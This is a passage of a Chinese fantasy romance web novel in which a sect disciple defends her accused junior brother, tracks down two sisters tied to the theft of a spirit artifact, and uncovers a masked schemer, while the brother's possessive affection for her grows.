不动声色放了手,轻轻推开她的肩膀,姜喻依着惯性退后半步,眼波流转着关切,喉间涌上的腥甜又一次压了下去。 “无事。“沈安之嗓音平淡,面上一派云淡风轻,身侧那只紧攥成拳的手泄露些许端倪。 一手攥紧拳头放在身侧,指节因过度用力而泛出青白,微微颤抖着极力压制体内反噬。另一只手随意负在身后,恰好将姜喻探究的视线隔绝在外。 他垂眸,额前几缕碎发扫过丹凤眸,晦暗不清的情绪都一一隐藏。 姜喻上前一步,拉着他腕骨,目光落在那紧握的拳头上。指缝间,刺目猩红正缓缓渗出。 “师弟,这叫无事?”姜喻无奈地看他一眼,边说边几不可察地看了眼四周。 “师姐。” 诸葛瑾突如其来的危机里,众人还沉浸在刚刚爆炸中相互搀扶,确认无人窥探,下一瞬姜喻指尖挑起药膏,迅速而轻柔地覆上伤口。 万万不能让其他人知晓沈安之特质特殊之处。 瞧她认真包扎的模样,沈安之垂眸凝望着她,有意压下嗓音:“师姐便不怕吗?” “怕 什么?” “自然是诸葛瑾所说。”回忆此处,沈安之颇有些轻慢戏谑一笑。 “师弟说了,要我信你。”姜喻抬眸眸光清亮,这一刻沈安之望着她的眸,真想拥有这一双眼睛……就这般时时刻刻,永远,永远注视着他,“所以是你吗?” “若我说……不是呢?”沈安之语气不易察觉地轻颤,他低垂着眼睫,目光落在姜喻脸上,不肯放过她一丝一毫的神情变化。 “诸葛瑾本就与我们有怨,肯定有其他内应为他绸缪。”姜喻直接说出猜想,在她看来沈安之绝不可能做出此事。 这个内鬼到底谁呢? 这般毫无保留的信赖如一簇在幽深的心海点燃的温热火苗。她如此信自己,沈安之唇角难以抑制地向上弯起,取悦到的弯唇一笑。 “师姐,”沈安之语气微顿,刻意放得又轻又缓,带着点蛊惑人心的意味,“你可得,一直信我。” 绷带随之利落缠裹紧,姜喻看了一眼四周,顾疏雨清丽面色微沉,持剑而来看向沈安之:“师弟,此事与你有关吗?” “无关。”沈安之声音不大,足够许多人听清。 众人气焰高涨,有其他门派弟子气势汹汹,率先发难:“你们鹤门宗出了个叛徒导致此事酿成今日下场,必须给我们个说法!” “怎么?你们鹤门宗心虚了不成。”有人急吼吼得阴阳怪气,“玄武灵器本是我千机阁的重宝,丢了可得你们赔还一个……” “是啊是啊……” “没有证据情况就随意认定是沈安之,若是诸葛瑾临死设置圈套,就要看我们自乱阵脚。”姜喻攥紧拳头发声,可显然大家对于一个毫无话语权的小姑娘视若无睹。 “就算如此沈小兄弟也难逃嫌疑。在场人之多,为何诸葛瑾偏偏指认他……顾道友你看为了大局,我提议将你门派这弟子收押关入天乩城的寒牢,好不损鹤门宗清誉。” 说是提议,更隐隐挟着威胁。 顾疏雨面色微沉下去,虽心有相信沈安之,但还是忍不住问道:“师弟,你还有话可说吗?” 沈安之轻扫过她审视的目光,喉结滚动,哽在喉头的嗓音一顿,“……无话可说。但寒牢,”他声音陡然转寒,斩钉截铁,“我既没做过,便不会去。” 寒牢?! 姜喻倒抽一口冷气,身子瞬间绷直,看着沈安之苍白侧脸,一股无名火猛地窜起来,绝不能让沈安之就这样被扣上罪名! 她攥紧了衣袖,脊背挺直,几乎是脱口而出:“师姐,我已经作证,沈安之绝不会干出此事。” 顾疏雨长叹一口气。 候在顾疏雨一旁的方微云见她为难,她也不相信沈安之做出此事,偏偏众人又把鹤门宗挂在嘴边。 方微云上前一步:“大家先别独断下决定,此事尚有疑点……” 见几番对峙,早有人急不可耐打断:“若非你们鹤门宗弟子私盗玄武灵器,我们不必如此伤亡之大,此事鹤门宗必须先把他交出来。” 千机阁弟子陆然怒不可遏,猛地踏前数步,手中长剑寒光乍现,裹挟着少年意气横扫而出,凌厉剑气割裂空气,直逼沈安之面门。 沈安之身形微晃,如鬼魅般轻巧避过。捏紧铜钱剑柄,静立原地,鸦羽般长睫低低压下,目光落在陆然身上,眼底翻涌着幽暗不清的漩涡。 真是该死。 他的铜钱剑气余威激起时,眼底的威压骇地陆然心底一惊,一道身影倏然插进来。 姜喻一步挡在沈安之身前,手腕轻翻,亮出风云城独有的绯红令牌,令牌上重明鸟纹路仿佛活了过来。 她下巴微扬,清亮嗓音带着不容置疑的护短气势:“谁敢动他!我饶不了谁。” 她目光一一扫过惊疑不定的众人,“我风云城宝库里的灵器堆得都快碰着房梁了,任我师弟取用都成。别说区区一个玄武阵石灵器,就是十个、百个,本姑娘也赔得起!” “今日谁动沈安之——”姜喻眼底寒芒乍现,“便是与我姜喻为敌,与整座风云城——不死不休。” 仅听闻“风云城”三字,不少人齐刷刷地忌惮地退后几步。 不怪众人如此失态,修真界谁人不知,风云城城主此生有两样捧在掌心、视若性命的至宝。 一个是他那神秘莫测、芳踪难觅,传闻中早已香消玉殒的娘子;另一个,便是他捧在掌心、疼入骨髓的宝贝女儿。 当年,他几乎是把修真界翻过来不为过,四处寻找娘子,可以说一己之力,拉高了整个风云城的如今武力值。 若是伤了他女儿,家里鸡蛋都给摇散黄不可…… 死寂般的静默中,不知是谁倒抽一口凉气,所有目光倏地钉在被他们忽视过的姜喻身上。 她手中那枚看似不起眼的重明鸟纹路,分明嵌着“姜喻”二字,与风云城少城主名讳无二。 陆然瞳孔骤缩,瞬间回神,慌忙整肃衣冠。深深一揖行礼,姿态恭谨至极,声音带着一丝不易察觉的微颤:“原来是姜姑娘,方才多有怠慢,千机阁陆然失敬了。” 姜喻万万没想到风云城三个字,足以让她拥有足够的话语权扭转局势。 姜喻声音不大足够众人听清,“我风云城少城主姜喻在此立誓,五日内,我定要找出真正的偷盗之人给大家一个交代。如若不然,我便随师弟一同关进寒牢。” 沈安之指腹摩挲着温热的铜钱骤然停住,那道绯色身影毫不犹豫地挡在他身前,连嗓音都带着平日没有的语调。 坚定,不惧…… 他眼睫狠狠一颤,喉间像是被什么滚烫的东西堵住,胸腔里那片死寂多年的心海深处,有什么东西“咔嚓”一声挣破了硬壳。 密密麻麻,带着近乎贪婪的刺痛,朝着四肢百骸探出细密根须,悄然缠上他的每一寸骨血。 姜喻妍丽的亮眸扭头回看沈安之,她安抚地扬唇浅笑。不言不语,眼神自在说三个字——“别担心”。 “不过五日光景,大家自然等得起,大家说是不是。反正,我没有意见……” “刚刚就属你喊的最大声。”有人忍不住反呛他一口,接着看向姜愉露出和善微笑,“话又说回来,我也愿意等。” 陆陆续续有些人同意,姜喻便不再等待,大步走到沈安之面前,“师弟,我们走,去阵眼再看看。” 陆然悄悄靠近姜喻一些,压低声音带着些讨好的灿烂笑意,“姜姑娘,我多有得罪还望你别往心里去,我千机阁镇守之地我最清楚,我愿助你们一臂之力,同你们一同寻找真凶。” 不等姜喻开口,沈安之已不动声色地侧身半步,恰好挡在陆然与她之间。 “呵。”沈安之修长指节随意一抬,看似轻描淡写,却恰好抵住了陆然欲要探身靠近的胸膛。鸦羽般的长睫低低压下,丹凤眸里一片冷意,无形的威压骤然袭去,慢声道:“我看,就不必劳烦你了,师姐自然有我这个师弟在一旁。” 话音刚落,沈安之已极其自然地扣住姜喻纤细的腕骨,力道不容抗拒地将人往身侧一带,转身便踏向前走去,徒留陆然僵在原地。 姜喻慢了半拍才反应过来,差点被沈安之美色晃的迷糊,瞬间清醒了几分,“师弟,你走这么快做什么,我们御剑去吧。” 沈安之身形猛地顿足,松开手时小指却若有似无地蹭过她腕间凸起的骨节。 “自然是……”他刻意拖长嗓音,眼底暗流翻涌,又怕她发现悄然长睫轻压,掩藏的彻底,“御剑去啊。” 手腕一点细微的麻痒,姜喻缩回手,慢半拍挠了挠那点残留的触感,“嗯。” 沈安之垂眸看她无意识摩挲手腕的小动作,喉间逸出一声低笑靠近她半步,忽的倾身凑近一点,“师姐,刚才不是很勇敢嘛……” “很勇敢吗?”姜喻提取他的关键词,弯眸一笑,笑起来时亮眸如一轮勾人心魄月牙,“说过我要罩着你的,我可没食言。” 第33章 见姜喻笑靥如花,沈安之心中微动,似被轻轻抓了一下,眸色微沉,身形不自觉地又向前倾去,“嗯。”声音轻缓,带着故意的蛊意。 他身形颀长,一倾一俯,直到两人距离近得能清晰感 受彼此温热的呼吸才堪堪停住。 皂角香逐渐逼近,姜喻呼吸一窒,望着眼前陡然放大的俊美面容,喉间不自觉地微微滚动,不知该说些什么便傻傻问了一句:“师弟,你相信我吗?” 沈安之慢条斯理地勾起那柔软的发梢,在指腹间轻轻捻转。发丝悄然滑落指缝时落下时,他指节若有似无地擦过她颈侧。 姜喻顿时感到一点痒,当她想往后撤时又消失无踪,当是头发刺挠了一下却又不像。 旋即,沈安之直起身形,唇角弯起一抹意味不明的弧度,低沉的嗓音里噙着几分慵懒的笑意:“好啊……那我便拭目以待了。” 姜喻慌忙咬住下唇,才勉强压住快要飞起的嘴角,含糊地应了声:“好啊,时间不等人,我们走。” 见她如此,沈安之指尖微抬,带着点温热的力道轻戳在她眉心,待她疑惑抬眸,才若无其事地收回手:“走吧,师姐只有五日。” “嗯。” 剑光破空,待两人御剑落下时,阵眼一如既往,不过这里如今仅剩五名千机阁弟子正聚在阵眼,面色焦灼地低语商议。 夜风掠过两道暗影,两道脚步声甫一传来,五人瞬间如惊弓之鸟,齐刷刷按剑旋身,戒备的目光看向他们。待看清是上一轮换班的弟子,紧绷的身形才略略松懈。 姜喻缓步上前,声音清脆:“辛苦了各位道友。我们想问问自上一批弟子离开前后,此处可有什么不寻常的动静?” 沈安之默立在姜喻身后半步,月光勾勒出他略显苍白的侧颜,冷眼扫过众人神情变化。 这几名弟子尚不知晓前方诸葛瑾的变故,对沈安之少了些固有的偏见与畏惧,见姜喻这个小姑娘态度亲和,便稍稍围拢过来。 其中一人率先开口,语气犹带后怕:“子时初刻,确有一位提灯的姑娘来过,说是为我们送些宵夜点心。待她走后约莫丑时三刻,我们正全神戒备提防雾妖冲击阵壁,突闻一声惊呼,守阵的灵石,竟凭空消失了!” 另一人急急补充,指向阵眼某处:“就是那儿!本该悬浮的玄武灵器空无一物!我们几人立时将附近翻了个底朝天,可……真真邪门,半丝异样也无,连点痕迹都没留下!” 姜喻秀眉微蹙,忙不迭地追问道:“提灯的姑娘是何人?你们可曾看清容貌?另外,她送来的吃食,可还有残羹冷炙留下?” 几人细细翻检一遍,终于有人从怀中衣襟里摸索出一个陈旧的布包,一抖开滚出几个早干硬的馒头。 姜喻随手接过一个,凑近鼻尖嗅了嗅,“闻着倒没什么怪味。” 沈安之探手取过馒头,只略扫一眼,那薄唇便勾起一丝凉薄的弧度。 “问题不在这死物上。” 姜喻正待把馒头抛回,左眼却骤然刺痛,一抹幽光在布包边缘诡谲闪过。动作一顿,眼底精光乍现。馒头信手放下,只留下布包在掌心。指腹细细摩挲布面,这厚度……绝非寻常。 她利落地抽出腰间短匕,寒光一闪划开夹层。一张绘制着繁复扭曲纹路的黄色符纸,轻飘飘地掉落在地。 “这一张致幻符。” 沈安之俯身拈起致幻符,垂眸低低地笑了一声,“呵……看来,有人早早布好了网,专等着鱼儿往里钻了。” 其中一人踉跄半步,冷汗瞬间浸透内衫,与同门交换的眼神里,惊骇与恼怒交织。 “快!传讯封锁各处天乩城出口!”他嗓音发颤,指甲几乎掐进掌心,“若让她遁走……这滔天罪责,岂是我等微末弟子扛得起的?” 另一人猛吸一口凉气,急声道:“我想起来那个姑娘一身水碧罗裙,容色清丽……是了!”他似抓住救命稻草,声音陡然拔高,“我瞥见她手背上横着一道烧伤旧疤,当时寒暄提及,是在大火中药庐捡回性命时落下的……” 姜喻闻言微怔,与沈安之目光无声交汇,彼此了然。 怕正是她们所救的那对姐妹…… “师姐,”沈安之抱臂侧首,指尖在臂上轻轻一点,复又停住,“可是……后悔了?” 姜喻抬眸,目光清亮而坚定,摇头道:“救人我从不后悔。即便此刻知晓,亦然,但求问心无愧。” 姜喻眼中有他从未探寻出的坦荡与暖意,沈安之心中微动,嘴角几不可察地扬了扬,“走吧,去会会她们。” 与千机阁弟子分道而行,两人御剑直抵鹤门宗营帐。 几番打听,得知那一对姐妹似乎走的匆匆,看来是仓惶遁入山林,营帐内只余下些散落的贴身之物。 姜喻毫不犹豫,自储物袋拈出一枚流光溢彩的追踪符。此符价值千金,追踪无往不利,本是她想用来尽快找到沈安之。 追踪符在姜喻指尖无风自燃,化作几缕幽蓝光点,如星子引路,瞬息间锁定了密林深处的气息。 深林幽暗,枯枝败叶在脚下发出细碎而刺耳的咔嚓声,两道脚步仓惶地踩过腐叶枯草,渐行渐远。 李沐亭后脊骤然窜起一股寒意,猛地攥紧阿妹的手腕,脚下发力,“快,阿云!” “阿姐,我…我腿软了……”李沐云的声音带着浓重的哭腔和喘息,小小的身体摇摇欲坠。 李沐亭心头一紧,俯身一把将妹妹抄进怀里,转身欲奔。 倏地,周遭虫鸣都变得死寂,连风都似是凝固。 一道修长暗影悄无声息地自古树后踱出,月光在他脚下踩碎,投来一片令人惊疑的阴翳。温凉的手指轻轻搭上她的肩头,李沐亭仓惶地转身退后,见到熟悉暗黑的金属面具松了一口气。 “我、我可是替你做完了,他们肯定不会放过我和阿云,你得让我们走。” 面具下传来两声低哑的笑,嗓音雌雄莫辨,指间夹着的暗红纸符幽幽闪烁,映得周遭空气都泛着不祥的微光。 “你们倒是……毫不犹豫行那弑父之举……” 李沐亭目眦欲裂,劈手夺过那符,五指死死地攥紧,“弑父?”她齿缝间挤出嗤笑,“他也配?别忘了,我诸葛家血脉里,便没有‘贪生怕死’这四个字!” 话音未落,她已决然转身,将怀中妹妹更紧地搂住,足下一点,如离弦之箭般没入前方幽深密林。 夜风卷起绿裙破碎的衣袂和散乱的发丝,原地,唯有那面具人喉间溢出几声沙哑的轻笑,“呵……还真信了……”诡谲的低语几乎被风声吞没,“真是愚不可及……” 姜喻和沈安之御剑行至半空,尚在半途,浓烈刺鼻的血腥气已扑面而至。加速落下,只见李沐亭血污满身,半条腿已不见踪影,却仍死死护着怀中气息奄奄的胞妹。 纵使她以身为饵,声声哀告,那蛇妖眼中猩红凶光大盛,粗壮蛇尾如电般卷起她妹妹,血盆大口一张便囫囵吞下。 李沐亭攥紧拳头攥紧的拳头砸在泥泞里,只发出破碎绝望的呜咽:“呜呜呜——” 姜喻惊骇之余飞速反应来疾掠上前,迅速将一枚护命丹药塞入李沐亭口中。 “先别说话,伤口不能在等,我们会尽力救她的。”姜喻抬眸目光坚定,处理她半条残缺的伤口。 李沐亭哽咽地不敢置信,姜喻会这般善心。 另一侧,沈安之的铜钱剑已化作道道金光,与蛇妖缠斗在一处。剑锋破开妖腹,腥臭污物混着血喷溅,滚落出来的却只剩一团被妖毒蚀得血肉模糊,依稀辨得还有人的样子。 李沐亭拖着残缺的身子,她不管不顾地扑爬过去,用尽全身力气将那团微温的“肉球”死死搂在怀中。 指尖触到鼻翼一丝微弱到几乎断绝的鼻息,她猛地抬头,染血的脸庞涕泪横流,目光死死钉在姜喻身上,泪流满面哀声道:“是我的罪我认,可沐云无辜……求二位救她!”她扭身跪下磕头,“求求你们救救 她!求求你们救救她!” 姜喻慌忙按住李沐亭肩膀,制止她的动作,声音带着强撑的镇定:“我会尽力的。” 李沐亭像是抓住了唯一的浮木,含泪重重点头。 姜喻深吸一口气,指尖碾磨丹药,细碎的粉末簌簌落下李沐云周身。她俯身寻到仅剩薄薄肉色掩盖的唇齿,将药末小心翼翼喂入她口中。 几息后,李沐云胸膛的起伏终于明显了些许。 角落阴影处沈安之斜倚着树,指尖有一下没一下地敲着手臂。他侧眸目光落在姜喻身上,分明是强装出镇定,动作却出乎意料地细致温柔。 姜喻将微弱的灵力覆盖李沐云周身,直至满头大汗才肯作罢,“我将药力在她体内化开,能不能撑过几日得看命数了。”边说着,手上边马不停歇地包扎。 “你妹妹如今不可断药,我可为她抓药诊治,你可愿随我们回去……” “我愿意!我愿意的!”李沐亭不待姜喻说完便急急应声,声音里带着孤注一掷的颤抖。 姜喻如今是她攥在掌心唯一的救命稻草。 姜喻安抚地点点头,指尖微动捏碎了袖中玉牌,“好。” 流光倏然闪过,四人身影原地消失。再睁眼时,已是鹤门宗临时营地。 篝火跳跃,映着简易营帐,空气中浮动着淡淡的药草清苦。 顾疏雨顿感灵力波动赶来,“你们回来了。”身后几名随行弟子见四人如此状况,立刻上前检视着李沐亭和她怀中妹妹的伤势。 第34章 顾疏雨安顿完人治疗送去严加看管,瞥见姜喻脸颊苍白,面色不佳,提醒道:“这里有我在,你们先回去休息。” 见姜喻似乎要走,李沐亭面带焦急。在这里,她很难信任他们任何一个人。 伸手想去抓姜喻的衣袖,恳求地望向她。 沈安之几乎是同时靠近,不动声色地拉上姜喻腕骨,拉着她小幅度往身侧挪步。 “这是做什么?” 见李沐亭手上落空,沈安之尾指摩挲着姜喻凸起的骨节,隐晦的兴奋在心底点燃,带着从未有之的满足感充斥胸腔。 他垂眸对上姜喻略带疑问目光,忽的弯唇轻慢一笑,放开了手,“无事。” 姜喻强撑着精气神,眼前阵阵发黑,强提着一口气:“师姐,我跟去看看吧。” “你如今这般模样,还是早些歇息为好。”顾疏雨声音带着不容置疑的关切,“她们那边,一时半刻说不出个所以然来。” 姜喻张了张口,一旁的李沐亭却猛地抓住她的衣袖,急急拔高了声调:“不行!姜姑娘你别走!” 她怕人消失一般,指尖用力,却又在对上姜喻苍白脸色时微微一滞,语气忽地低了下去,带着不易察觉的紧张与慌乱,“我、我可以告诉你……” “好。”姜喻微微颔首,跟上众人身后。 沈安之目光掠过,视线定在她雪白腕骨间那道红痕上,眉宇几不可察一蹙,喉间溢出一声极轻的冷哼。 “师弟?”姜喻闻声抬眸。 沈安之抱臂侧过身,指节发白地攥住自己手臂,避开她的视线,嗓音低沉压抑:“无事。”他顿了顿,下颌线绷紧,掩住眼底翻涌着妒意和不悦。 那双眼,从前分明只盛着他一个人的影子。 待医师看过后伤口后处理完,李沐亭情绪逐渐平复下来,失血过多的面庞苍白如纸,虚弱地陷在锦绣堆叠的软榻里。 “李姑娘,这是留影石,你可说说看了。”顾疏雨将墨色玉石轻轻置于案几上,李沐亭瞥了一眼,目光出神看向床幔。 “我本是诸葛家最后一点血脉。”她唇瓣翕动,声音带着刻骨的冷意,“十六年前…诸葛家满门,一夜之间尽遭毒手。李霆那个畜生,强占了彼时已是诸葛家妇的王氏,我的娘亲。” 她艰难地吸了口气,胸口微弱起伏。“而我娘亲本是李霆的表妹。那时,她腹中已有了我一月有余。事发后,被李霆悄悄接回藏匿,娘亲为了掩人耳目,足月临盆,却要对外装作不足七月的早产儿,至于沐云,”她嘴角牵起一丝苦涩至极的笑,“她是我在湖边捡回的弃婴。” 说到此处,李沐亭哽咽抬眸,那双因仇恨而猩红的眼蓄满泪光:“诸葛瑾是我生父,也是我和他联手计划杀了李霆,引诱他出去霍乱天乩城,只是……”她目光掠过姜喻与沈安之,染上浓重愧色,“抱歉,姜姑娘,沈公子。” 姜喻心头猛地一跳。诸葛瑾已身死道消?李沐亭此刻心中是何滋味? 更紧要的疑云盘旋不去,她蹙眉追问:“你是如何盗走玄武阵石的?它如今又在何处?” “阵石?”李沐亭眼中掠过一丝茫然,随即摇头否认,“我确与父亲计划窃取阵石,可古怪的是,致幻符并未生效,我只得仓惶离去。若我失手,自会有人接手,与父亲里应外合,强行破开玄武寒霜阵。” “是谁?”顾疏雨目光如电,紧锁李沐亭神情,那分疑惑不似作伪。 “一个戴黑色金属面具的人,”李沐亭声音里淬着恨毒,“身形修长,刻意压低的嗓音辨不出男女,从未以真面目示人。父亲与他有旧约。”她攥紧的拳头指节发白,身体因强忍恨意而微颤。 “他本应依约送我与阿云离开,却临时反悔,赠我符纸引来蛇妖……这是我的罪孽,可阿云何其无辜!”懊悔如潮水将她淹没,她下意识抚上空空如也的左腿断处,唇边牵起一抹狼狈至极的苦笑。 见李沐亭黯然神伤,顾疏雨默默收回留影石,沉吟道:“此面具人才是关键。不过,有此留影石在,至少可证师弟清白了。” 姜喻后颈陡然一凉,那面具人曾在幽暗处循着香追寻至她厢房。 或许更早……一张无形的网早已悄然张开,沈安之不过是无意间坠入其中。 他所图谋的,昭然若揭…… 烛火在凝滞的空气中噼啪轻响。 姜喻捏紧了衣袖,一个冰冷的念头刺入脑海:阵石之危,不过是被暂时按下,如同悬在头顶的利刃,但寒芒未消。 阵石尚未真正寻到,线索依旧渺茫,顾疏雨见姜喻眼底满是疲倦,神色柔和下来,“今日暂且到此,你们损耗不小,速去歇息。此处有我。” 姜喻奔波寻觅李沐亭,全凭一口气强撑。待终于回到暂居的院落,踏入院门的瞬间,眼前景物骤然旋转、发黑,脚下虚浮,一个踉跄便向前栽去,却撞进一片稳当的支撑里。 骨节分明的手有力地扶住了她的胳膊,指尖温热,鼻翼处盈满皂角香。 顺着修长手指望去,正对上沈安之垂落的视线。墨黑丹凤眸深不见底,唇角勾起一丝辨不清情绪的弧度:“师姐这是……打算席地而眠了?” “没了……”姜喻勉强睁开惺忪的眼,声音带着浓重的倦意。 真像只困极了的鸟,一栽瞌睡就要掉落似的。 沈安之没再言语,只拉着她的手腕,径直走入屋内。 他松开手,抱臂斜倚在门柱旁,侧眸淡淡瞥向那张简陋的床榻,下颌微扬,嗓音在昏暗中显得格外清晰:“师姐,睡吧。” 姜喻瞥见他竟未离去,侧首投来一瞥,嘴角漾起浅淡笑意,“师弟不走?” 沈安之摩挲铜钱的手指微微一顿,旋即背过身,随手拎过一张圈椅,姿态散漫地斜倚入座。 他指尖轻弹,铜钱便在空中划出一道微亮的弧线,落回掌心。目光虽未回转,却感知着身后的动静,话音带着几分刻意玩味一笑:“雾妖尚在附近徘徊,玄武寒霜阵已破。师姐不是素来怕妖?” 见他竟真留下守夜,姜喻唇角无声地弯起,“是啊,师弟都这般说了,我就不客气了。” 她行至妆台前,素手轻抬,取下两只蝴蝶发簪,将编发解开,霎时间如瀑墨发倾泻而下,柔柔披散背后。 衣料摩挲的簌簌声在寂静中格外清晰,沈安之猛地阖上眼,试图将那几近旖旎的声响隔绝在外。 然而姜喻那张漾着欢快笑意的脸庞,却固执地在他眼前浮现。惯常 捻动铜钱的长指此刻并未触及铜钱,而是紧紧按在胸口—— 隔着衣料,那里藏着一只早已被体温焐热的、有些毛糙的草编小鸟。 纱帐内,姜喻侧卧着,薄纱帐幔垂落半遮,只余一双猫儿般的清亮圆眸,静静望向那道身影。 他随意倚坐的姿态透着慵懒,固执地守在此间。望着熟悉的玄色身影,暖意自心底漫开。 姜喻舒服地蜷进柔软被衾,睡意朦胧间迷糊想着:不知从何时起,只要沈安之在,便让她心安了。 分明……分明不久之前,他是个随时会爆开定时炸弹,恨不得睡梦中都得提防着,生怕哪一日毫无征兆,冰冷的刀刃便抵上她颈间。 现在的沈安之,应该对“师姐”所作所为改观许多。姜喻边想着,边慢慢沉入梦境。 沈安之侧耳听到身后传来姜喻绵长的呼吸,昭示着她已沉入甜梦。悄然起身,足尖点地无声,行至床榻边。 月华透过窗棂,为垂落的纱帐镀上一层清冷银辉。他抬手,指尖触到微凉的帐幔,轻轻撩开一道缝隙。 姜喻正酣眠,一张小脸陷在枕里,褪去了平日的灵动跳脱,唯剩毫无防备的恬静。 目光沉沉落下,如同无形的蛛网,将她全然笼罩。他俯身,靠近那沉睡的身影,修长的手指带着一丝不易察觉的微颤,轻轻抚上她散落在枕畔的细软长发。 她的发丝柔滑如缎,带着她身上特有的暖香。指腹缓缓摩挲着,带着某种近乎本能的探究,一点点将柔软的青丝缠绕上指尖。 一种奇异的,远比把玩铜钱、杀妖,更甚的酥麻与兴奋感,顺着指尖细细密密地窜上心尖,带着灼人的热度。 他眸色骤然转深,喉结无声滚动。指尖缠绕发丝的力道无意识地加重了一分。 ……以前怎么从未发觉? “无妨,此刻察觉,为时未晚。”他弯唇压低声音。自言,自听。 回忆起今日种种,目光紧紧缚在姜喻身上,带着毫不掩饰、几乎要破笼而出的欲.望。 若是姜喻醒来,定会诧异万分。沈安之那一双漆黑瞳仁里从前深邃的空无一物,现在这般直勾勾地紧盯着,只剩下她一人。 姜喻有蹬被子的习惯,半夜睡得毫无章法,锦被让她一脚踹开,细白玲珑的脚踝连同半截小腿都露在微凉空气中。 沈安之静坐床沿,视线掠过刺目的莹白,喉结微动,终是俯身,带着一丝不易察觉的僵硬,将锦被一寸寸拉回,严严实实盖住。 指尖捏紧被角,始终未触及温热的肌肤。 天光熹微,透窗后,姜喻迷蒙睁眼,一道颀长人影默立床前,在帐幔外轮廓模糊。她心头猛地一跳,睡意全无,看清是沈安之才制止了动作。 沈安之抬指揉了揉突突跳动的眉心,眼底是未散的倦意与深沉的暗色,未发一言,转身离去。 沈安之看起来,似乎是一夜未睡? 第35章 姜喻揉了揉惺忪的睡眼,待梳洗好确认仪表无误推开房门,却见沈安之去而复返,对上她清亮的眸光僵了一瞬。 他脑海挥之不去昨夜一抹莹白,脚步停在她几步外,紧绷身形。 “怎么回来了?”姜喻伸了个懒腰,舒展筋骨,日光透过雕花木棂,在她身上投下斑驳光影。 沈安之随意抱臂斜倚门框,目光只在她身上极快地掠了一下便转向门外深处,声音没什么起伏:“用膳。怕饿死师姐。”说完,不等回应,转身便大步流星地朝外走去。 姜喻噗嗤一笑,提了裙裾小跑着追上去,“哎,等等我!师弟不是早早就辟谷了吗?” 沈安之脚步未停却放缓许多,铜钱被反复摩挲、翻转,听到她的话,捻动的指尖几不可察地顿了一瞬。 他回眸玩味一笑,一句硬邦邦的话抛出,带着点强行挽尊解释的意味:“……我不吃,不代表不会吃些。” 沈安之微微侧过脸,不肯看她,只留给姜喻一个冷硬侧影。 姜喻憋着嘴角笑意,“好哦。” 两人同到简易搭建起的大厅时,便吸引了在场人所有人目光。 第36章 四周探究、好奇乃至热切的目光骤然聚拢,无形的压力沉甸甸地压了下来。 姜喻唇角挤起一个干巴巴的笑,下意识地往身侧的沈安之靠近半步。 沈安之眼波流转,目光晦暗带着一丝不易察觉的戾气扫过围拢的人群,不动声色地向前错步,将纤细绯红人影全然挡在自己身后。 “姜姑娘,这灵果滋味绝佳,你尝尝看?” “姜姑娘,听闻鹤门宗云海日出堪称冠绝天下,不知可否有幸邀姑娘同游……” 七嘴八舌的声音嗡嗡作响。 姜喻只觉得脑仁发胀,眼前发晕,那些笑脸和话语挤作一团,让她连开口的缝隙都找不到。 姜喻苦恼地蹙眉,想找个地缝把自己埋起来清静一下。忍不住侧眸偷觑沈安之,周身透着一股子生人勿近的低气压。 怪了耶。 他面色蓦然阴沉,对那些恶意揣测和污蔑时时面不改色,怎么现在反而变了脸。 莫不是……嫌太吵了? 姜喻暗自腹诽,倒是符合沈安之一贯怕麻烦的作风。 沈安之声音不大,却带着一种奇异的穿透力,瞬间压下了周围的嘈杂:“诸位道友,失陪。” 他侧过脸,目光捕捉到姜喻眼底一抹显而易见的无措和求救信号。 一丝极淡、近乎愉悦的弧度在他唇边飞快闪过。微热的手掌不容置疑地扣住了她的腕骨,力道不大,又带着不容挣脱的强势。 “走了。” 话音一落,他已牵着她,如分水的游鱼般迅捷地穿过拥挤的人潮。 衣袂翻飞间,留下身后众人错愕的低语。 姜喻被他拉着向前,视线落在挺拔玄色背影上,心头掠过一丝奇异的悸动。 他莫不是预料今日情况,特意来此的吧…… 这个念头一出,姜喻心头一跳,来不及细想,眼角余光瞥见又有身影要围拢过来。 她头皮发麻,几乎手忙脚乱地抓起旁边油纸,一手兜着几个热腾腾的包子,一手反手紧紧攥住沈安之的衣袖,迭声道:“快快快!走了走了!” 姜喻拽着他衣袖大步往前走,人群骚动围拢的灼灼视线里,沈安之鸦羽似的睫毛低垂。 他侧首向众人极轻地一歪头,唇边笑意温良,眸底却挟着一丝挑衅看向周遭,任由她拉着向前。 回眸见总算离开了拥挤之地,姜喻放了手长舒一口气,看向油纸包好的热气腾腾的包子,拿起一个轻咬一口,动作微微一顿。 她抬眸,满足道:“猪肉白菜馅的,饿了,吃什么都香。”笑盈盈地递给沈安之一个包子,“师弟,尝尝看。” 沈安之注意到她神情细微之处,依言接过,拈着尚带暖意的包子浅尝一口,滋味实在寻常。眉梢微挑,停下动作,只将剩下的大半个包子虚握在手中。 见他不吃了,姜喻笑着更加灿烂,凑近一些,“师弟不好吃吗?” 她一双亮得惊人的妍丽眸子,似乎让平平无奇的包子都沾染了几分诱人的生气。 沈安之喉结无声地滑动,心中微动,垂眸就方才的齿痕,缓缓咬下了一口,“也就……尚可吧。” 听到沈安之惯常简短的回答,姜喻眼中掠过一丝诧异,笑着时尾音带着点不信地上扬:“哦?真的?” “嗯,自然了。” 姜喻收回视线,看着手中实在没什么味道的肉包子,笑着轻咬了一口:“可师姐我尝来尝去,还是觉着没滋没味,师弟口味这般清心寡欲。”她咽下那口包子,带着促狭的笑意望进他眼底。 陡然只见颀长身影带有一种无形的压力,朝 着她倾覆过来,距离近得能看清彼此眼中的倒影。 姜喻抬眸,怔愣了一瞬。 沈安之视线扫过她沾有一点油光的唇瓣,抬眸视线相汇,喉间溢出一声极轻哼笑:“师姐觉得呢?” “我觉得还行啊。”她笑着,囫囵咽下了最后一口。 方才沈安之的话仿佛带着钩子,生出几分被看穿的错觉。可抬眸望去,他一副全然未觉的模样。 这是真没发觉她在故意逗他了…… 姜喻扬唇轻笑:“走吧,该回去了。” 两人刚回到住处喝了一口凉茶,姜喻腰间传讯玉佩陡然一亮,白芒流转其中凭空映出几行小字浮于虚空: 留影石已尽数送至各派。从即刻起需核验各门派弟子身份,揪出藏匿的面具人。另,天乩城搜山弟子拾得玄武阵石残片,遗弃于野。 “面具人所求的并非一件灵器。”姜喻语气微顿,下意识转眸看向沈安之。 “他促成诸葛瑾杀了李霆,又能得到什么不是更有趣嘛。”心底挑起了一丝兴味,侧眸时正撞上望来的目光,沈安之眼眸一弯,眼尾朱砂痣在妖冶得惊心。 “师姐这个表情,”他单手支着下颌,指尖漫不经心地划过桌面,“又在担心什么?” “我才没有。”姜喻心头猛地一颤。 